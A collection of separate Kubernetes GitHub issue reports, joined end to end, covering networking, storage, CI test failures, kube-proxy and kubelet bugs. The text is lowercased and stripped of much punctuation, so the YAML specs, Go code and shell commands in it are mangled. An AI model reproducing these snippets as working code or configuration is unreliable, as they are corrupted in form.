services should be able to change the type and ports of a service  slow  | | sig/network |  k8s.io  services should be able to change the type and ports of a service  slow  |  </details><br>   current status  https://go.k8s.io/triage f06eea19da5bba917654

we should repair unhealthy nodes for cloud providers that support it. forked from  2959.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r based on article https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/\r i've created small test:\r \r \twhile true\r \tdo\r \t wget --spider --timeout=1 nginx\r \t sleep 1\r \tdone\r \r when running without netpol and --labels=\ access=true\  i'm getting pure output:\r \r    \r ...\r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r ...\r    \r \r with netpol and --labels=\ access=true\  i get:\r \r    \r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r connecting to nginx  10.96.250.126:80 \r wget: download timed out\r \r \r    \r \r   what you expected to happen  :\r \r i was expected to see the same output with and without netpol.\r i wasn't expected to see so many timeouts.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r test with script above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t17:05:32z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t16:55:41z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r \r baremetal and vagrant\r \r - os  e.g. from /etc/os-release :\r \r ubuntu 16.04.5 lts\r \r - kernel  e.g.  uname -a  :\r \r  linux k8smaster 4.4.0-137-generic  163-ubuntu smp mon sep 24 13:14:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r \r vagrant and manual installation.\r \r - others:\r \r networking:\r  kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=$ kubectl version | base64 | tr -d '\ ' \ \r

the following fields are nil in the summary api on ubuntu-trusty-docker10 and coreos-stable20160622:      node.systemcontainers kubelet .rootfs.usedbytes node.systemcontainers kubelet .logs.usedbytes node.systemcontainers runtime .rootfs.usedbytes node.systemcontainers runtime .logs.usedbytes      /cc @kubernetes/sig-node

problem:  if we declare a test      var _ = kubedescribe ... {       framework.logf framework.testcontext.kubeconfig      // the above prints nothing : , because testcontext isnt initialized yet. }      solution: - add an init to test_context.go? - add inits somewhere else  - make testcontext a function  not a var  and let it lazy init itself - any other ideas :  ?   should be simple to solve in a few minutes trying things/hacking   @kubernetes/sig-testing

kubernetes version    use  kubectl version  : 1.0.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : i am using  hyperkube  as a cloud provider, i deployed it locally\r -   os    e.g. from /etc/os-release : ubuntu 14.04\r -   kernel    e.g.  uname -a  : linux ubuntu 3.16.0-30-generic  40~14.04.1-ubuntu smp thu jan 15 17:43:14 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : in order to deploy hyperkube, proxy and etcd i used the available images from docker hub. \r \r \r   what happened  : \r i deployed a single container pod that tries to connect to another container in a different pod using the ip of the service created for the second pod. i did a exec into the first container and i am able to see the ip of the service, but i get access denied when i try to connect to it.\r \r the configuration for the first pod:\r \r    apiversion: v1\r kind: pod\r metadata:\r   name: controller\r spec:\r   containers:\r   - name: controller\r     image: <image_name>\r     ports:\r       - containerport: 8080\r         hostport: 8082\r     command:  \ /bin/bash\  \r     args:  \ -c\ , \ <command>\  \r     env:\r       - name: service_endpoint\r         value: http://$service_host:6060\r    \r \r the configuration for the second pod:\r \r    apiversion: v1\r kind: pod\r metadata:\r   name: second_pod\r   labels:\r     app: servicepod\r spec:\r   containers:\r   - name: second_pod\r     image: <image_name>\r     ports:\r       - containerport: 6060\r       - containerport: 6061\r     volumemounts:\r       - mountpath: /config\r         name: storage1\r         readonly: true\r       - mountpath: /tmp\r         name: storage2\r     command:  \ /bin/bash\  \r     args:  \ -c\ , \ <command>\  \r    \r \r service configuration:\r \r    apiversion: v1\r kind: service\r metadata:\r   name: servicepod\r   labels:\r     app: servicepod\r spec:\r   selector:\r     app: servicepod\r   ports:\r   - name: servicepod1\r     port: 6060\r     targetport: 6060\r     protocol: tcp\r   - name: servicepod2\r     port: 6061\r     targetport: 6061\r     protocol: tcp\r    \r \r   what you expected to happen  : the expected behavior is to be able to connect to the second pod using the service.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : vsphere, lsilogic-sas\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5+coreos.0\ , gitcommit:\ f70c2e5b2944cb5d622621a706bdec3d8a5a9c5e\ , gittreestate:\ clean\ , builddate:\ 2016-10-31t19:16:47z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere  vcenter: 6.5.0, esxi: 6.0.0 \r -   os    e.g. from /etc/os-release : coreos 1185.3.0  moreos \r -   kernel    e.g.  uname -a  : linux 4.7.3-coreos-r2  1 smp tue nov 1 01:38:43 utc 2016 x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r during pod provisioning, kube-controller-manager logged the following messages whilst attempting to attach a vsphere volume to the pod;\r \r    \r 2016-11-27t14:15:01.636686228z i1127 14:15:01.636561       1 reconciler.go:168  started attachvolume for volume \ kubernetes.io/vsphere-volume/ datastore  volumes/volume\  to node \ node\ \r 2016-11-27t14:15:02.085465901z e1127 14:15:02.085346       1 vsphere.go:667  error creating new scsi controller: unknown scsi controller type 'lsilogic-sas'\r 2016-11-27t14:15:02.102770470z e1127 14:15:02.102592       1 attacher.go:79  error attaching volume \  datastore  volumes/volume\ : unknown scsi controller type 'lsilogic-sas'\r 2016-11-27t14:15:02.102790243z e1127 14:15:02.102691       1 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/vsphere-volume/ datastore  volumes/volume\\\ \  failed. no retries permitted until 2016-11-27 14:15:06.102667758 +0000 utc  durationbeforeretry 4s . error: failed to attach volume \ volume\  on node \ node\  with: unknown scsi controller type 'lsilogic-sas'\r 2016-11-27t14:15:02.102908054z i1127 14:15:02.102838       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ mayan-deployment-2304867309-f4tgb\ , uid:\ df9106ba-b4ab-11e6-b3bc-005056892975\ , apiversion:\ v1\ , resourceversion:\ 4951433\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ volume\  on node \ node\  with: unknown scsi controller type 'lsilogic-sas'\r    \r \r the operation is attempted again and continues to fail. the pod becomes stuck in the containercreating state.\r \r   what you expected to happen  :\r the volume should be mounted to the host and attached to the pod.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1  create a vmdk using the following command;\r    \r vmkfstools -c 2g /vmfs/volumes/datastore/volumes/volume.vmdk\r    \r 2  attach a vsphere volume to a pod using the following spec;\r    \r       volumes:\r         - name: volume\r           vspherevolume:\r             volumepath: \  datastore  volumes/volume\ \r             fstype: ext4\r    \r \r \r   anything else do we need to know  :\r this happens both with attaching an existing vsphere volume  as documented  here  http://kubernetes.io/docs/user-guide/volumes/ vspherevolume   and with the vsphere storageclass provisioner  as documented  here  http://kubernetes.io/docs/user-guide/persistent-volumes/ vsphere  . for the purposes of documenting this issue, i followed the former rather than the latter, but the error is the same. \r volume/datastore/host names have been substituted from their actual values.\r the kubernetes worker node's vm hardware is as follows;\r ! image  https://cloud.githubusercontent.com/assets/6966796/20649056/3dbc5894-b4ae-11e6-8830-51bb61b45eac.png \r

seen in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/44996/pull-kubernetes-bazel/14985/\r    \r i0427 04:47:09.190  2017/04/27 04:46:35 http: tls handshake error from 127.0.0.1:45292: remote error: tls: bad certificate\r i0427 04:47:09.190  2017/04/27 04:46:35 http: tls handshake error from 127.0.0.1:34024: remote error: tls: bad certificate\r i0427 04:47:09.190  2017/04/27 04:46:35 http: tls handshake error from 127.0.0.1:33246: remote error: tls: bad certificate\r i0427 04:47:09.190  2017/04/27 04:46:35  001  warn: error copying to client: readfrom tcp 127.0.0.1:34130->127.0.0.1:39734: write tcp 127.0.0.1:34130->127.0.0.1:39734: write: broken pipe\r i0427 04:47:09.190  2017/04/27 04:46:35 http: tls handshake error from 127.0.0.1:33226: remote error: tls: bad certificate\r i0427 04:47:09.191  2017/04/27 04:46:35 http: tls handshake error from 127.0.0.1:59646: remote error: tls: bad certificate\r i0427 04:47:09.191  2017/04/27 04:46:35 http: tls handshake error from 127.0.0.1:48858: remote error: tls: bad certificate\r i0427 04:47:09.191  2017/04/27 04:47:05  001  warn: error copying to client: write tcp 127.0.0.1:40183->127.0.0.1:40226: write: broken pipe\r i0427 04:47:09.191  2017/04/27 04:47:05  001  warn: error copying to client: readfrom tcp 127.0.0.1:41960->127.0.0.1:41511: write tcp 127.0.0.1:41960->127.0.0.1:41511: write: broken pipe\r i0427 04:47:09.191  --- fail: testroundtripandnewconnection  30.18s \r i0427 04:47:09.191      --- fail: testroundtripandnewconnection/redirect_=_true  30.05s \r i0427 04:47:09.191      \troundtripper_test.go:339: https  invalid hostname + insecureskipverify : error creating client stream: timeout occured\r i0427 04:47:09.192  2017/04/27 04:47:05  001  warn: error copying to client: write tcp 127.0.0.1:45205->127.0.0.1:58846: write: broken pipe\r i0427 04:47:09.192  fail\r

failure cluster  d3812f24880aea48f806  https://go.k8s.io/triage d3812f24880aea48f806        error text:     error during ./hack/e2e-internal/e2e-status.sh: exit status 1           failure cluster statistics: 1 tests failed,    4 jobs failed,    51 builds failed. failure stats cover 1 day time range '18 may 2017 20:57 utc' to '19 may 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | isup | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gce-federation-test | 48 |  19 may 2017 20:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-federation-test/8106  | | ci-kubernetes-e2e-gce-1.6-master-cvm-kubectl-skew-serial | 1 |  19 may 2017 05:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-master-cvm-kubectl-skew-serial/4848  | | ci-kubernetes-e2e-gce-etcd2-release-1.6 | 1 |  19 may 2017 18:49 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd2-release-1.6/3152  |   current status  https://go.k8s.io/triage d3812f24880aea48f806

we moved the rs cleanup at the start of a rollout to unblock users who were getting blocked by hash collisions. now that the hashing collision avoidance mechanism is in place, we can restore the cleanup to run at the end of a rollout.\r \r essentially, we need to revert https://github.com/kubernetes/kubernetes/pull/40081.

bug report\r \r   kubernetes version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t10:00:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os  : container linux by coreos 1339.0.0  ladybug \r -   kernel    e.g.  uname -a  : linux 4.10.1-coreos  1 smp wed mar 1 23:24:53 utc 2017 x86_64 intel r  xeon r  cpu e5-2666 v3 @ 2.90ghz genuineintel gnu/linux\r -   install tools  : custom\r -   others  : flannel network overlay\r \r   what happened  :\r we were performing a rolling termination of our cluster, which includes replacing all of the k8s master, node and etcd nodes. this process simultaneously terminates the two master nodes one at a time, all of the etcd nodes one at a time, and starts up a new set of worker nodes, waits for them to be online, and then slowly terminates the old nodes one at a time.\r \r during the process of the rolling termination when the new set of worker nodes came online but before any of the existing nodes or pods were terminated, we had one of the loadbalancer  elb  services in our cluster receive a large number of 5xx errors from the elb  we confirmed that the 5xx errors did not come from the pod/application itself . this happened at the :10 hour. during the same :10 hour, all of the kube-proxy containers on the new nodes logged:\r    \r i0614 19:07:49.213325       1 server.go:215  using iptables proxier.\r i0614 19:07:49.261949       1 server.go:227  tearing down userspace rules.\r i0614 19:07:49.278019       1 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_max' to 1179648\r i0614 19:07:49.278495       1 conntrack.go:66  setting conntrack hashsize to 294912\r i0614 19:07:49.298236       1 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0614 19:07:49.298277       1 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r w0614 19:10:09.492468       1 reflector.go:319  pkg/proxy/config/api.go:30: watch of  api.service ended with: too old resource version: 71010518  71014074 \r w0614 19:26:13.356921       1 reflector.go:319  pkg/proxy/config/api.go:30: watch of  api.service ended with: too old resource version: 71014075  71020417 \r    \r also during the :10 hour, the rolling termination of our h/a master instances were in progress and exactly at :10 is when the replacement master came up and was considered \ healthy\  and when we began to terminate the remaining old master.\r \r after about a minute of 5xx errors for the elb, it recovered and was able to route to the pods. also, we saw a severe decrease in traffic to the pods running behind the service that was affected during this time period.\r \r i suspect that the elb for the affected service began forwarding traffic to the newly added nodes in the cluster prior to those nodes being able to route to the pods for that service.\r \r also note we are using flannel and kube-proxy is using iptables mode.\r \r   what you expected to happen  :\r the elb should not forward traffic to nodes that are not able to route that traffic to the appropriate pods.\r \r   how to reproduce it    as minimally and precisely as possible :\r i am attempting to reproduce this by submitting a large amount of traffic to an elb loadbalancer service while also adding a new node to the cluster. \r \r   anything else we need to know  :\r it is not clear yet whether performing a restart of the masters in conjunction with adding a new node is related to this issue.

is this a bug report or feature request?:\r  \r   what happened  :\r secret mount but can not find in container\r \r -kubectl describe pods nginx-dm-81026071-drq05\r ! image  https://user-images.githubusercontent.com/8958057/29415333-4d022426-8395-11e7-9719-3c42524e6481.png \r \r -in vm, i can find secret in /var/lib/kubelet/pods/fdcbe17e-8351-11e7-9c67-fa163ea2f8ed/volumes/kubernetes.io~secret/default-token-55hck\r ! image  https://user-images.githubusercontent.com/8958057/29415406-8d0b6be0-8395-11e7-8285-422209ffb6a2.png \r ! image  https://user-images.githubusercontent.com/8958057/29415535-f0f19f76-8395-11e7-8002-72c3cb5b844f.png \r \r \r -but when i exec into container, i can find nothing in /var/run/secrets/kubernetes.io/serviceaccount\r ! image  https://user-images.githubusercontent.com/8958057/29415519-e6081284-8395-11e7-9d83-aa7ff4ac6bf0.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.7.3\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r ubuntu 14.04.3 lts\r - kernel  e.g.  uname -a  :\r 3.11.0\r - install tools:\r - others:\r

the kube-build container starts a rsync daemon which accepts connections from the same  docker bridge  https://github.com/kubernetes/kubernetes/blob/master/build/build-image/rsyncd.sh l36 , however, normally, pods do not use the same docker bridge depends on the setup though . we should pass the pod ip into  host allow  list along with the docker bridge subnet, see the error message below:\r \r    console\r +++  0821 02:52:26  syncing sources to container\r /home/jenkins/workspace/tess-build-dev/kubernetes\r 172.17.0.3:8730\r @error: access denied to k8s from undetermined  10.147.169.24 \r rsync error: error starting client-server protocol  code 5  at main.c 1653   sender=3.1.0 \r !!!  0821 02:52:34  call tree:\r !!!  0821 02:52:34   1: build/../build/common.sh:676 kube::build::rsync ... \r !!!  0821 02:52:34   2: build/../build/common.sh:431 kube::build::sync_to_container ... \r !!!  0821 02:52:34   3: build/release.sh:35 kube::build::build_image ... \r !!! error in build/../build/common.sh:656\r   error in build/../build/common.sh:656. '  i<5-1  ' exited with status 5\r call stack:\r   1: build/../build/common.sh:656 kube::build::rsync ... \r   2: build/../build/common.sh:676 kube::build::sync_to_container ... \r   3: build/../build/common.sh:431 kube::build::build_image ... \r   4: build/release.sh:35 main ... \r    \r \r in my case,  10.147.169.24  is the pod ip address, while in kube-build container:\r \r    console\r   cat rsyncd.conf                                                                                                                                                                                           \r pid file = /tmp/rsync.k8s/rsyncd.pid                                                                                                                                                                        \r use chroot = no                                                                                                                                                                                             \r log file = /dev/stdout                                                                                                                                                                                      \r reverse lookup = no                                                                                                                                                                                         \r munge symlinks = no                                                                                                                                                                                         \r port = 8730                                                                                                                                                                                                 \r  k8s                                                                                                                                                                                                        \r   numeric ids = true                                                                                                                                                                                        \r     uid = 0                                                                                                                                                                                                 \r   gid = 0                                                                                                                                                                                                   \r   hosts deny =                                                                                                                                                                                              \r   hosts allow = 172.17.0.0/16                                                                                                                                                                               \r   auth users = k8s                                                                                                                                                                                          \r   secrets file = /tmp/rsync.k8s/rsyncd.secrets                                                                                                                                                              \r   read only = false                                                                                                                                                                                         \r   path = /go/src/k8s.io/kubernetes                                                                                                                                                                          \r   filter = - /.make/ - /.git/ - /_tmp/ \r    \r \r as shown above,  172.17.0.0/16  is the subnet configured on docker0 bridge.

 \r right now we do not validate pv updates so admin can update  pv.spec.persistentvolumesource  at any time. kubernetes has no facility to reflect this update - it won't magically re-mount an existing volume to e.g. a different nfs server. imo the persistentvolumesource to be read-only and set to stone once created.\r \r @kubernetes/sig-storage-bugs @kubernetes/sig-api-machinery-bugs

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when a the internal k8s csi driver calls the external csi driver for mounting  nodepublish  it is not creating the mount location.\r \r   what you expected to happen  :\r the internal csi driver should create the target path to avoid bypassing security measures to allow external driver pod to do it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r attempt to have an external csi driver mount a path to a pod.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  \r i am trying to set a fixed resource value to my kubernetes container. when i try the following:\r    \r //var k8sjobspec v1batch.job\r //cont = &k8sjobspec.spec.template.spec.containers 0 \r log.println \ before\ , cont.resources.requests.memory   \r cont.resources.requests.memory  .setmilli 512  //new wanted value\r log.println \ after\ , cont.resources.requests.memory   \r log.println \ before\ , cont.resources.requests.cpu   \r cont.resources.requests.cpu  .setscaled 2, resource.giga  //new wanted value\r log.println \ after\ , cont.resources.requests.cpu   \r    \r i get:\r    \r before 0\r after 0\r before 0\r after 0\r    \r not sure if this is a bug or  most likely  i am doing something wrong. why doesn't set update my values to the newer ones? how can i set the cpu & ram resources properly? \r \r @kubernetes/sig-contributor-experience/bugs

allowprivileged, hostnetworksources, hostpidsources, hostipcsources are deprecated in  57851 and should be removed in v1.12.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r \r   what happened  :\r kubectl delele and get support --ignore-not-found, but kubectl drain not support, add this flag will helpful when i write node ralative script\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r many service related test cases in  gci-gce-ipvs  test case are flaky. especially  session affinity  related cases.\r ci link: http://k8s-testgrid.appspot.com/sig-network-gce gci-gce-ipvs\r \r   what you expected to happen  :\r ipvs should sync rules within  ipvs-min-sync-period .\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. build a cluster with ipvs proxy mode, and specify  ipvs-min-sync-period/ipvs-sync-period .\r 2. create a service with backends.\r 3. use  ipvsadm -l  check the delay from create service to sync ipvs rules.\r  this issue is probabilistic, about 50% possibility to happened.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-cos-master-slow\r \r   which test s  are failing  :  sig-storage  mounted flexvolume expand slow  should verify mounted flex volumes can be resized\r \r   since when has it been failing  : 11/07/2018\r \r   testgrid link  : https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-slow\r \r   reason for failure  :\r long error message, but seems like it failed to create a deployment:\r _failed creating deployment deployment \ deployment-cc8adc2b-e2de-11e8-bc1f-0a580a3c13e1\  failed to complete_\r \r   anything else we need to know  :\r seems like this is the offending pr: https://github.com/kubernetes/kubernetes/pull/70667\r this is a  it is release-blocking: https://github.com/kubernetes/kubernetes/pull/70667 issuecomment-436821032\r \r <!-- do not edit below this line -->\r   / /cc @aniket-s-kulkarni

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r we've see thousands connections stuck in \ established\  status between apiserver and kubelet. and running our of the 5-tuples for connections.\r \r  netstat -t\r active internet connections  w/o servers \r proto recv-q send-q local address           foreign address         state      \r tcp        0      0 ip-10-194-56-159.:38337 ip-10-194-57-180.:10250 established\r tcp        0      0 ip-10-194-56-159.:51666 ip-10-194-56-207.:10250 established\r tcp        0      0 ip-10-194-56-159.:36798 ip-10-194-57-59.a:10250 established\r tcp        0      0 ip-10-194-56-159.:40087 ip-10-194-57-67.a:10250 established\r tcp        0      0 ip-10-194-56-159.:41705 ip-10-194-57-197.:10250 established\r tcp        0      0 ip-10-194-56-159.:60977 ip-10-194-56-215.:10250 established\r \r  netstat -t |wc -l\r 36194\r \r  curl one of the compute node on the master will fail:\r \r curl -v 172.28.56.184:10250   this is the compute node running the pod \r   about to connect   to 172.28.56.184 port 10250   0 \r     trying 172.28.56.184...\r   failed to connect to 172.28.56.184: cannot assign requested address\r   couldn't connect to host at 172.28.56.184:10250\r   closing connection 0\r curl:  7  failed to connect to 172.28.56.184: cannot assign requested address\r \r \r   what you expected to happen  :\r the stuck connections should be released\r   how to reproduce it  as minimally and precisely as possible   :\r not sure\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0+d4cacc0\ , gitcommit:\ d4cacc0\ , gittreestate:\ clean\ , builddate:\ 2018-11-09t15:12:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0+d4cacc0\ , gitcommit:\ d4cacc0\ , gittreestate:\ clean\ , builddate:\ 2018-11-09t15:12:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  :\r  cat /etc/os-release\r name=\ red hat enterprise linux server\ \r version=\ 7.5  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.5\ \r pretty_name=\ red hat enterprise linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.5:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.5\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.5\ \r \r - kernel  e.g.  uname -a  :3.10.0-862.11.6.el7.x86_64\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

re:  21081   currently in our scaled out tests we have 10 parallel submissions creating deployments concurrently.  post client side settling, meaning 0 active clients, the average system system utilization is north of 5 cores.    most tests to date do not have measurements when most/all controllers are firing.   @jeremyeder @jayunit100 - this would be creating an e2e around similar things we had done with the cluster loader.   /cc @kubernetes/sig-testing @kubernetes/sig-scalability

on raspberry pi 3 running fedora 23.  go version go version go1.5.4 linux/arm  go env goarch=\ arm\  gobin=\ \  goexe=\ \  gohostarch=\ arm\  gohostos=\ linux\  goos=\ linux\  gopath=\ \  gorace=\ \  goroot=\ /usr/lib/golang\  gotooldir=\ /usr/lib/golang/pkg/tool/linux_arm\  go15vendorexperiment=\ \  cc=\ gcc\  gogccflags=\ -fpic -marm -pthread -fmessage-length=0\  cxx=\ g++\  cgo_enabled=\ 1\   kubectl version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ 738b7603b042dcda7a5ba419ab0e7f40a617080c\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ 738b7603b042dcda7a5ba419ab0e7f40a617080c\ , gittreestate:\ clean\ }  kubectl get node name        status     age 127.0.0.1   notready   10h kubelet report such an error, and the node entering notready because kubelet return setupfailed here.  after deep into the source code, i found out that only cpu and memory are required. so the error info maybe change to a warning. the source code is as follow:  // checks if the required cgroups subsystems are mounted. // as of now, only 'cpu' and 'memory' are required. // cpu quota is a soft requirement. func validatesystemrequirements mountutil mount.interface   features, error  {         const                    cgroupmounttype = \ cgroup\                  localerr        = \ system validation failed\                    var                     cpumountpoint string                 f             features                   mountpoints, err := mountutil.list           if err != nil {                 return f, fmt.errorf \ %s - %v\ , localerr, err          }          expectedcgroups := sets.newstring \ cpu\ , \ cpuacct\ , \ cpuset\ , \ memory\       for _, mountpoint := range mountpoints {             if mountpoint.type == cgroupmounttype {                     for _, opt := range mountpoint.opts {                             if expectedcgroups.has opt  {                                     expectedcgroups.delete opt                              }                             if opt == \ cpu\  {                                     cpumountpoint = mountpoint.path                             }                     }             }     }      if expectedcgroups.len   > 0 {             return f, fmt.errorf \ %s - following cgroup subsystem not mounted: %v\ , localerr, expectedcgroups.list        }      // check if cpu quota is available.     // cpu cgroup is required and so it expected to be mounted at this point.     periodexists, err := util.fileexists path.join cpumountpoint, \ cpu.cfs_period_us\        if err != nil {             glog.errorf \ failed to detect if cpu cgroup cpu.cfs_period_us is available - %v\ , err      }     quotaexists, err := util.fileexists path.join cpumountpoint, \ cpu.cfs_quota_us\        if err != nil {             glog.errorf \ failed to detect if cpu cgroup cpu.cfs_quota_us is available - %v\ , err      }     if quotaexists && periodexists {             f.cpuhardcapping = true     }     return f, nil      }

